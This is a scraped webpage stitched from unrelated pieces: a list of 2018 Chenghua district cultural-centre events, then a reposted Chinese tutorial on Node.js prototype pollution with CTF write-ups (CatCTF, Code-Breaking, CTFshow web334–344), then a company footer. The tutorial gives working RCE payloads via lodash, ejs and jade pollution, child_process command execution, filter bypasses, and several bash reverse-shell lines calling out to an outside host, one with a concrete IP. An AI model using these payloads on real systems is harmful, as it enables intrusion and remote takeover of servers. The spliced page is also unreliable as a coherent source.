    83.10月13日,成華區文化館武當養生太極班開課,培訓共16課時(每課時1.5小時)。

    84.10月17日上午,由成華區文旅體局主辦,區文化館、區文化志愿者協會承辦的2018年“沙河流韻”成華區“暢游成都·體驗非遺”系列活動暨“我們的節日——重陽”專場走進龍潭敬老院,為老年朋友們送去節日溫暖的問候。

    85.10月18日晚,2018“成都文化四季風·歡歌慶秋”群眾歌詠比賽總決賽暨第二屆“金芙蓉”音樂獎決賽在特侖蘇音樂廳舉行。成華區文化館選送的言樂合唱團演唱的《龍的傳人》獲得“歡歌慶秋”群眾歌詠比賽二等獎及“金芙蓉”音樂獎合唱銅獎。

    86.10月23日至11月2日,將改革開放進行到底·成華區慶祝改革開放四十周年報展在區文化館藝術展廳舉辦,展出1978年至2018年期間有關改革開放以及取得成就的原版報紙復制件150框。

    87.10月25日下午,著名書法家陳沫吾受邀來到成華區文化館,登上“翰墨天府”成都書法大講堂主講《書法學習創作談》。

    88.10月25日下午,“沙河流韻”2018成華區“成都文化四季風·勁舞暖冬”群眾舞蹈比賽集中示范活動在天府熊貓塔水景廣場火熱展開。雙橋子街道選送的《茉莉幽香》拿下一等獎,另評出二等獎2名、三等獎3名、優秀獎8名。

    89.10月26日至12月28日,成華區文化館特邀著名四川評書、金錢板傳承人羅世忠老師,“駐場”曲藝班公益課堂,為大家講講地道的川味兒評書。

    11月:

    90.11月3日下午,“服務人民文藝小分隊走基層演出·陳川作品社區專場音樂會”“首場院壩”演藝活動在天府熊貓塔水景廣場上演,帶來別具一格的視聽享受。

    91.11月4日下午,《太極道——新中式生活智慧》活動在成華區文化館多功能廳舉辦。武當太極、武學傳人王明山老師及其團隊攜手帶來一場太極文化的極致體驗。

    92.11月8日上午,成都市書法家協會“深入生活·扎根人民”主題實踐活動小分隊一行,到成華區文化館為書法愛好者開展書法交流活動。

    93.11月9日晚,第24屆“蓉城之秋”成都國際音樂季閉幕式暨“金芙蓉”音樂獎頒獎典禮,在雙流區體育館舉行。成華區文化館選送的言樂合唱團,獲得合唱組銅獎。

    94.11月11日上午,由《國家大劇院》雜志社、中共成華區委宣傳部主辦,成華區文化廣電新聞旅游體育局、成華區文化館承辦的“文旅成華·藝術有約”大型公益主題文化活動——晨曦初露在區文化館舉行。活動邀請著名小提琴演奏家、柴可夫斯基國際音樂大獎得主陳曦主講,獲得現場聽眾熱烈歡迎。

    95.11月15日下午,由由成都市文化廣電新聞出版局主辦,成都市成華區文旅體局、成都市成華區文化館、四川當代油畫院承辦的成都市2018年公共文化服務公益藝術講座在文藝講座廳舉辦。講座特邀四川省美協副主席、成都市文聯副主席、四川當代書畫院執行院長姚葉紅,中國詩書畫研究院研究員、四川當代書畫院副院長施秉偉,圍繞《中國畫的造型形式特色》這一主題分享了書畫理論和創作經驗。

    96.11月18日下午,由成都市美術家協會主辦、成華區文化館協辦的首屆寫生作品展在成華區文化館隆重開展。此次參展畫家年齡最大87歲,最小20歲,展出的作品有油畫、水彩、水粉、水墨、線描等100余件,展覽持續至11月21日。

    97.11月24日下午,由成都市書法家協會和成都市青少年宮主辦,成華區文化館協辦的“藝圃同芳”—鐘楊琴笙師生書法作品展,在成都市成華區文化館開幕,展出了55位作者的70件書法作品,展覽持續至27日。

    98.11月29日下午,成都市書法家協會主辦、成都市成華區文化館承辦的“翰墨天府”成都書法大講堂在區文化館文藝講座廳開講。活動邀請書畫家、篆刻家何大治主講《簡介漢張遷、衡方兩碑——兼談漢碑的方筆》。

    12月:

    99.12月6日,由成華區群團樞紐工程指揮部辦公室、中共成華區委宣傳部、區文旅體局主辦,區文化館、區文化志愿者協會承辦的2018年成華區“成華講述·成都百姓故事會”主題巡講活動圓滿結束。巡講活動一共4場,分別在雙水碾街道、建設路街道、萬年場街道、跳蹬河街道的道德講堂舉行。

    100.12月7日,由成都市文化廣電新聞出版局主辦的2018“成都文化四季風?勁舞暖冬”群眾舞蹈比賽總決賽在武侯區文化館夢想劇場圓滿落幕。成華區文化館選送的舞蹈《歡樂盛宴》經過激烈角逐,在總決賽中排名第八,獲得三等獎。

    101.12月26日下午,成華區文化館市民文化藝術學校公益培訓2018年第二期學習成果展演在區文化館多功能廳成功舉辦。舞臺演出部分包括聲樂類、器樂類、舞蹈類、生活美學類及非遺項目表演類、朗誦類等節目20余個。展覽部分共展出學員原創的國畫、書法、禪繞畫、攝影、素描作品200余幅。展演結束后,區文化館對本學期評選出的36名優秀學員進行了表彰。

    102.12月27日下午,由成都市書法家協會主辦、成都市成華區文化館承辦的“翰墨天府”成都書法大講堂在成華區文化館文藝講座廳舉行。書法家茍建勛攜作品到場,為現場書法愛好者們帶來一場《正書的臨習與創作實踐》講座。

    2019年2月18日

    前言

    Node.js之前并未有太多了解,最近遇上了一些相關題目,發現原型鏈污染是其一個常考點,在學習后對其進行了簡單總結。

    Node.js

    原型鏈污染

    首先強推這篇文章https://developer.mozilla.org/,讀完后就會對原型鏈有個大致的了解,對后面學習非常有幫助。
    所以說什么是原型鏈污染呢?

    偏官方一點的解釋如下

    在JavaScript中,每個對象都有一個原型,它是一個指向另一個對象的引用。當我們訪問一個對象的屬性時,如果該對象沒有這個屬性,JavaScript引擎會在它的原型對象中查找這個屬性。這個過程會一直持續,直到找到該屬性或者到達原型鏈的末尾。
    攻擊者可以利用這個特性,通過修改一個對象的原型鏈,來污染程序的行為。例如,攻擊者可以在一個對象的原型鏈上設置一個惡意的屬性或方法,當程序在后續的執行中訪問該屬性或方法時,就會執行攻擊者的惡意代碼。

    簡單的說呢,其實就是我們對原鏈中的某個屬性進行了污染,向其中插入惡意代碼,當我們再調用這個鏈(也就是使用這個對象)時,我們的惡意代碼就會被觸發,此時就達到了一個執行惡意代碼的效果。
    說到原型鏈污染,那就肯定離不開__proto__和prototype,所以接下來我們需要了解一下這兩個是什么東西。

    __proto__和prototype

    在JavaScript中,每個對象都有一個名為__proto__的內置屬性,它指向該對象的原型。同時,每個函數也都有一個名為 prototype 的屬性,它是一個對象,包含構造函數的原型對象應該具有的屬性和方法。簡單來說,__proto__ 屬性是指向該對象的原型,而 prototype屬性是用于創建該對象的構造函數的原型。

    這么說有點抽象,因此這里舉個例子來進行說明,首先我們打開谷歌瀏覽器,F12,切換到控制臺,而后我們寫入如下代碼

    function Person(name) {
      this.name=name;
    }
    
    Person.prototype.greet=function() {
      console.log(`Hello, my name is ${this.name}`);
    };
    
    const person1=new Person('Alice');
    person1.greet(); // 輸出 "Hello, my name is Alice"
    

    在例子中,我們創建了一個名為 Person的構造函數,并將prototype上的greet設置為一個打招呼的函數。當我們創建一個名為person1的實例時,它會繼承Person.prototype對象上的greet方法。因此,當我們調用person1.greet()時,它會輸出 "Hello, my name is Alice"。


    從這里就可以看出,prototype是類Person的一個屬性,所有用類Person進行實例化的對象,都會擁有prototype的全部內容。

    我們實例化出來的person1對象,它是不能通過prototype訪問原型的,但通過__proto__就可以實現訪問Person原型,具體代碼如下

    console.log(person1.__proto__===Person.prototype); // 輸出 true
    

    總結(摘自https://www.leavesongs.com)
    1、prototype是一個類的屬性,所有類對象在實例化的時候將會擁有prototype中的屬性和方法
    2、一個對象的__proto__屬性,指向這個對象所在的類的prototype屬性

    他們的關系圖如下所示

    具體過程

    那么什么是原型鏈污染呢
    我們這里用一個簡單例子來對其進行說明

    var a={number : 520}
    var b={number : 1314}
    b.__proto__.number=520 
    var c={}
    c.number
    


    對這里的情況需要進行簡單說明,我們可以看到在我們進行b.__proto__.number=520 操作后,即使是內容為空的c,調用number屬性仍存在且值為我們設定的520,這時就達到了一個原型鏈污染的目的。接下來再說一下可能部分師傅有疑問的點

    一、為什么執行過b.__proto__.number=520 后,我們輸出b的值,其值仍為1314

    這是因為在JavaScript中存在這樣一種繼承機制:
    我們這里調用b.number時,它的具體調用過程是如下所示的

    1、在b對象中尋找number屬性
    2、當在b對象中沒有找到時,它會在b.__proto__中尋找number屬性
    3、如果仍未找到,此時會去b.__proto__.__proto__中尋找number屬性
    

    也就是說,它從自身開始尋找,然后一層一層向上遞歸尋找,直到找到或是遞歸到null為止,此機制被稱為JavaScript繼承鏈,我們這里的污染的屬性是在b.__proto__中,而我們的b對象本身就有number,所以其值并未改變。

    二、為什么新建的值為空的c對象,調用c.number竟然有值而且為我們設定的520

    當明白上個問題時,這個問題也就迎刃而解了,我們這里的c對象雖然是空的,但JavaScript繼承鏈的機制就會使它繼續遞歸尋找,此時也就來到了c.__proto__中尋找number屬性,我們剛剛進行了原型鏈污染,它的c.__proto__其實就是Object.protoype,而我們進行污染的b.__proto__也是Object.prototype,所以此時它調用的number就是我們剛剛污染的屬性,所以這也就是為什么c .number=520

    它常見于當存在函數(其功能是將一個數組的內容復制到另一個數組中)的情況下,示例如下

    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                // 如果target與source有相同的鍵名 則讓target的鍵值為source的鍵值
                merge(target[key], source[key])
            } else {
                target[key]=source[key]  // 如果target與source沒有相通的鍵名 則直接在target新建鍵名并賦給鍵值
            }
        }
    }
    let o1={}
    let o2=JSON.parse{a: 1, "__proto__": {b: 2}}
    merge(o1, o2)
    console.log(o1.a, o1.b)
    
    o3={}
    console.log(o3.b)
    


    這里的話可以看到我們的o3內容為空,但調用b屬性也是成功輸出了2,說明我們剛剛的原型鏈污染成功了,這里也說一下可能部分師傅有疑問的點。

    一、為什么要加JSON.parse,這個函數有什么作用,不加會怎么樣?

    這是因為,JSON解析的情況下,__proto__會被認為是一個真正的鍵名,而不代表原型,所以在遍歷o2的時候會存在這個鍵。當不加的時候,他就會認為他是一個原型,此時情況如下

    所以這也就是我們需要添加這個函數的原因

    小拓展(js大小寫特性)

    對于toUpperCase()函數

    字符"?"、"?" 經過toUpperCase處理后結果為 "I"、"S"
    

    對于toLowerCase

    字符"?"經過toLowerCase處理后結果為"k"(這個?不是K)
    

    詳情可見https://www.leavesongs.com/

    實戰

    CatCTF 2022 wife

    環境參考https://adworld.xctf.org.cn/challenges/list
    打開題目


    發現是一個登錄界面,給出了注冊界面,點擊注冊界面,可以發現需要一個邀請碼


    如果沒有邀請碼的話,我們進去是這個樣子


    此時如果考慮到JS原型鏈污染的話,就變得簡單了,應該是我們越權拿到管理員權限,從而獲取flag,其注冊界面源碼如下所示(比賽時是黑盒,這里并未給出源碼)

    app.post('/register', (req, res)=> {
        let user=JSON.parse(req.body)
        if (!user.username || !user.password) {
            return res.json({ msg: 'empty username or password', err: true })
        }
        if (users.filter(u=> u.username==user.username).length) {
            return res.json({ msg: 'username already exists', err: true })
        }
        if (user.isAdmin && user.inviteCode !=INVITE_CODE) {
            user.isAdmin=false
            return res.json({ msg: 'invalid invite code', err: true })
        }
        let newUser=Object.assign({}, baseUser, user)
        users.push(newUser)
        res.json({ msg: 'user created successfully', err: false })
    })
    

    我們這里注意到Object.assign方法,他類似之前示例說的clone函數,Object.assign這個方法是可以觸發原型鏈污染的,所以我們這里污染__proto__.isAdmin為 true 就可以了。

    {"__proto__":{"isAdmin":true}
    

    此時便可越權拿到flag

    Code-Breaking 2018 Thejs

    源碼參考https://code-breaking.com/puzzle/9/#promo-block
    搭建環境的話,先安裝一下express框架

    cnpm i express -S
    


    而后再安裝一下lodash模塊即可

    npm install lodash
    

    而后通過node server.js即可開啟題目環境


    環境如下


    接下來簡單看一下代碼

    #server.js
    const fs=require('fs')
    const express=require('express')
    const bodyParser=require('body-parser')
    const lodash=require('lodash')
    const session=require('express-session')
    const randomize=require('randomatic')
    
    const app=express()
    app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
    app.use('/static', express.static('static'))
    app.use(session({
        name: 'thejs.session',
        secret: randomize('aA0', 16),
        resave: false,
        saveUninitialized: false
    }))
    app.engine('ejs', function (filePath, options, callback) { // define the template engine
        fs.readFile(filePath, (err, content)=> {
            if (err) return callback(new Error(err))
            let compiled=lodash.template(content)
            let rendered=compiled({...options})
    
            return callback(null, rendered)
        })
    })
    app.set('views', './views')
    app.set('view engine', 'ejs')
    
    app.all('/', (req, res)=> {
        let data=req.session.data || {language: [], category: []}
        if (req.method=='POST') {
            data=lodash.merge(data, req.body)
            req.session.data=data
        }
    
        res.render('index', {
            language: data.language, 
            category: data.category
        })
    })
    
    app.listen(3000, ()=> console.log(`Example app listening on port 3000!`))
    

    首先我們這里可以發現存在merge函數

    if (req.method=='POST') {
            data=lodash.merge(data, req.body)
            req.session.data=data
        }
    

    這里的含義也是比較簡單,即將我們POST提交的信息,通過merge合并到session中,最終我們所有提交的信息都會被保存到session中去,那么存在這個merge函數的話,說明我們可以進行原型鏈污染,那么我們污染的參數該是什么呢,我們這個時候看這幾行代碼

    fs.readFile(filePath, (err, content)=> {
            if (err) return callback(new Error(err))
            let compiled=lodash.template(content)
            let rendered=compiled({...options})
    

    可以發現其對內容進行了lodash.template處理,我們跟進這個函數,具體代碼可見https://github.com/lodash

    可以發現這個sourceURL當沒有值的時候就是一個空的狀態,而當其有值時,就會取當前的這個值,我們看接下來他怎么處理


    可以發現這里被放入了Function的第二個參數,此時我們就可以實現代碼執行了。
    所以我們污染的參數就是sourceURL,具體Payload如下所示

    {"__proto__" : {"sourceURL" : "\r\n return e=> {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}
    


    這里需要注意,我們的ConType-type需要修改為application/json,這樣才能讓__proto__成為鍵值而非原型,之所以可以直接這樣修改是因為express框架支持根據Content-Type來解析請求Body。

    同時,這里之所以不用require的原因如下

    Function 環境下沒有 require 函數,直接使用require('child_process') 會報錯,所以我們要用 global.process.mainModule.constructor._load 來代替。

    CTFshow系列

    web334

    給了一個附件(zip),打開的話是兩個文件,具體內容如下

    #user.js
    module.exports={
      items: [
        {username: 'CTFSHOW', password: '123456'}
      ]
    };
    
    #login.js
    var express=require('express');
    var router=express.Router();
    var users=require('../modules/user').items;
     
    var findUser=function(name, password){
      return users.find(function(item){
        return name!=='CTFSHOW' && item.username===name.toUpperCase() && item.password===password;
      });
    };
    
    /* GET home page. */
    router.post('/', function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      var sess=req.session;
      var user=findUser(req.body.username, req.body.password);
     
      if(user){
        req.session.regenerate(function(err) {
          if(err){
            return res.json({ret_code: 2, ret_msg: '登錄失敗'});
          }
    
          req.session.loginUser=user.username;
          res.json({ret_code: 0, ret_msg: '登錄成功',ret_flag:flag});
        });
      }else{
        res.json({ret_code: 1, ret_msg: '賬號或密碼錯誤'});
      }
    
    });
    
    module.exports=router;
    

    這里看到user.js里給出了賬密,接下來我們在看login.js,這里的話可以看到對賬號進行了一個toUpperCase()函數處理,這個函數的作用是將小寫字符全部改為大寫字符,如下圖所示


    因此我們這里的話賬號是CTFSHOW,我們只需要輸入ctfshow,他就可以變成CTFSHOW辣

    web335

    方法一

    進入后環境如下


    沒看到有什么有用信息,這個時候查看一下源代碼看看有沒有有用信息


    發現提示了eval參數,這個時候我們就需要看一個東西了,即如何在Node.js執行命令
    http://nodejs.cn/api/child_process.html
    在其中可以看到這個函數


    這個只需要寫入命令即可,因此我們對其進行簡單嘗試

    eval=require('child_process').execSync('ls')
    


    成功執行命令,接下來嘗試獲取flag

    eval=require('child_process').execSync('cat f*')
    

    方法二

    還有另一個函數


    這個spawnSync函數的話是需要兩個參數,返回值是一個可選項,但當返回值不填時,默認返回的是Object,所以這里其實是三個參數,即命令,命令的參數,以及返回格式,比如我們這里想執行ls .,那我們這里就可以寫成spawnSync('ls',['.']).output,接下來嘗試在靶場中執行

    eval=require('child_process').spawnSync('ls',['.']).output
    


    成功執行,接下來查看flag

    eval=require('child_process').spawnSync('tac',['fl00g.txt']).output
    

    web336

    和上關的環境相似,這里嘗試上關的payload

    方法一

    eval=require('child_process').execSync('cat f*')
    


    回顯tql,一眼頂真,這是某些字符串被過濾掉了,這里的話感覺應該是execSync,我們這里可以采用拼接的方法來進行繞過,然后本來的話是.execSync,我們這里可以修改為['exe'+'Sync'],小知識[xxx]=.xxx,因此我們這里嘗試一下這個方法

    eval=require('child_process')['exe'%2B'cSync']('ls')
    //+號進行了URL編碼,這是因為不編碼的話+會被解析為空格
    


    同理,查看flag

    方法二

    用上面的第二個函數(spawnSync)可正常執行命令

    eval=require('child_process').spawnSync('cat',['fl001g.txt']).output
    

    web 337

    題目給出了源代碼,如下所示

    var express=require('express');
    var router=express.Router();
    var crypto=require('crypto');
    
    function md5(s) {
      return crypto.createHash('md5')
        .update(s)
        .digest('hex');
    }
    
    /* GET home page. */
    router.get('/', function(req, res, next) {
      res.type('html');
      var flag='xxxxxxx';
      var a=req.query.a;
      var b=req.query.b;
      if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      	res.end(flag);
      }else{
      	res.render('index',{ msg: 'tql'});
      }
    
    });
    
    module.exports=router;
    

    重點在于

    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      	res.end(flag);
    

    md5的繞過,這里可以采用數組繞過的方式,構造如下語句即可

    a[]=1&b=1
    

    也可以采用這個payload

    a[a]=1&b[b]=12
    

    這是因為此時題目兩個打印出來的是一致的,都是Object,所以


    傳傳a[0]=1&b[0]=2不行是因為當我們這樣傳的時候相當于創了個變量a=[1] b=[2],此時的結果

    web338

    這里給出了源代碼,其中的login.js文件內容如下

    var express=require('express');
    var router=express.Router();
    var utils=require('../utils/common');
    
    
    
    /* GET home page.  */
    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      var secert={};
      var sess=req.session;
      let user={};
      utils.copy(user,req.body);
      if(secert.ctfshow==='36dboy'){
        res.end(flag);
      }else{
        return res.json({ret_code: 2, ret_msg: '登錄失敗'+JSON.stringify(user)});
      }
    
    
    });
    
    module.exports=router;
    

    這個用到了utils里的copy函數,我們這里看一下utils中comman.js文件里的內容

    module.exports={
      copy:copy
    };
    
    function copy(object1, object2){
        for (let key in object2) {
            if (key in object2 && key in object1) {
                copy(object1[key], object2[key])
            } else {
                object1[key]=object2[key]
            }
        }
      }
    

    這個的話就是一個簡單的賦值,看這里就能猜出考察點是Node.js的原型污染,這里我們如果key是__proto__,就可以實現一個屬性污染,這里要求的條件secert.ctfshow==='36dboy',如果我們去設置一個"__proto__":"ctfshow:36dboy",它首先在secret中尋找,沒找到ctfshow,就會往上繼續找,此時就會找到Object,因為Object.prototype中有ctfshow,所以此時我們就滿足了條件,成功繞過

    web339

    方法一

    #login.js 部分代碼
    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      var secert={};
      var sess=req.session;
      let user={};
      utils.copy(user,req.body);
      if(secert.ctfshow===flag){
        res.end(flag);
      }else{
        return res.json({ret_code: 2, ret_msg: '登錄失敗'+JSON.stringify(user)});
      }
    

    單看這個login.js的話,我們這里不知道flag,肯定是無法滿足secert.ctfshow===flag的
    與上題相似,但這里的api.js內容中有這樣一串代碼

    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      res.render('api', { query: Function(query)(query)});
    });
    

    如果我們可以自定義query的內容,就可以實現RCE,所以我們這里的話就用原型鏈污染來修改__proto__的值,具體payload如下

    {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}
    


    接下來去訪問api接口,從而調用這個query


    此時查看我們監聽的7777端口,成功反彈shell

    cat login.js|grep flag
    

    方法二

    這個題使用了ejs模板,對于ejs模板RCE我們這里的話可以看一下這兩篇文章
    https://evi0s.com/
    https://xz.aliyun.com/t/7184#toc-7
    里面對其進行了具體分析,我比較菜,沒大看懂,只知道最后的方法的話就是對一個名為outputFunctionName的成員進行賦值,其內容是我們的惡意代碼,然后我們再次請求,就可以觸發這個代碼的執行,具體payload如下

    "__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP地址/監聽端口 0>&1\"');var __tmp2"}
    

    此時已成功寫入惡意代碼,接下來刷新一下界面即可成功反彈shell

    web340

    這里的話環境和上關類似,但login.js中的內容略有改動,具體如下

    /* GET home page.  */
    router.post('/', require('body-parser').json(),function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      var user=new function(){
        this.userinfo=new function(){
        this.isVIP=false;
        this.isAdmin=false;
        this.isAuthor=false;
        };
      }
      utils.copy(user.userinfo,req.body);
      if(user.userinfo.isAdmin){
       res.end(flag);
      }else{
       return res.json({ret_code: 2, ret_msg: '登錄失敗'});
      }
    
    
    });
    

    改動點在于utils.copy(user.userinfo,req.body);,原本是user的,所以說也就是原型鏈多了一層,我們再套一層即可,本來的原型鏈應該是

    user.__proto__->Object.__proto__
    

    現在變成了

    user.userinfo__proto->user.__proto__->Object.__proto__
    

    因此我們這里在上一關的payload基礎上多加一個__proto__即可,具體payload如下

    {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/監聽端口 0>&1\"')"}}}
    


    而后POST發包訪問/api接口


    查看是否成功反彈shell

    web341

    這里缺少了api.js,這樣的話就說明沒法再去用之前的方法來做了,但考慮到這里的ejs模板,所以這里的話應該是用ejs來進行反彈shell的,嘗試用此payload進行反彈shell,與之前payload相似,多套一層__proto__,具體payload如下

    {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"}
    }}
    

    而后刷新一下界面,以此來執行我們的惡意代碼,接下來查看VPS是否成功反彈shell


    這里的話flag沒有在這里,需要我們自己找一下

    find / |grep flag
    cat /flag
    

    Web342

    jade的原型鏈污染,參考鏈接https://xz.aliyun.com/t/7025,由于node.js了解較少,所以這里參考其他師傅的payload進行嘗試,等學會node.js再對具體代碼進行分析,payload如下

    {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}
    


    接下來刷新界面,查看監vps


    成功反彈shell,接下來查看flag即可

    Web343

    說是增加了過濾,但仍沿用上一關payload,亦可打通


    Web344

    源碼如下

    router.get('/', function(req, res, next) {
      res.type('html');
      var flag='flag_here';
      if(req.url.match(/8c|2c|\,/ig)){
      	res.end('where is flag :)');
      }
      var query=JSON.parse(req.query.query);
      if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
      	res.end(flag);
      }else{
      	res.end('where is flag. :)');
      }
    
    });
    

    可以看到我們這里需要滿足三個條件

    1、query.name==='admin'
    2、query.password==='ctfshow'
    3、query.isVIP===true
    

    我們這里平常的話如果沒有過濾的話,直接這樣寫payload就可以

    query={"name":"admin","password":"ctfshow","isVIP":true}
    

    但這里存在過濾(req.url.match(/8c|2c|\,/ig)),%2c是,,所以我們這里不能再用逗號,我們這里可以使用&&來代替它,但此時發現還不行,這是因為:"ctfshow這里,這個"的編碼是%22,而它和c連起來,此時就是%22c,此時就有2c了,所以不滿足條件,因此我們這里需要對c進行一次URL編碼,所以最終payload是

    query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
    

    參考文章

    https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
    https://xz.aliyun.com/t/7182#toc-7
    https://blog.csdn.net/miuzzx/article/details/111780832
    https://xz.aliyun.com/t/7184#toc-11

    from https://www.freebuf.com/articles/web/361333.html

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有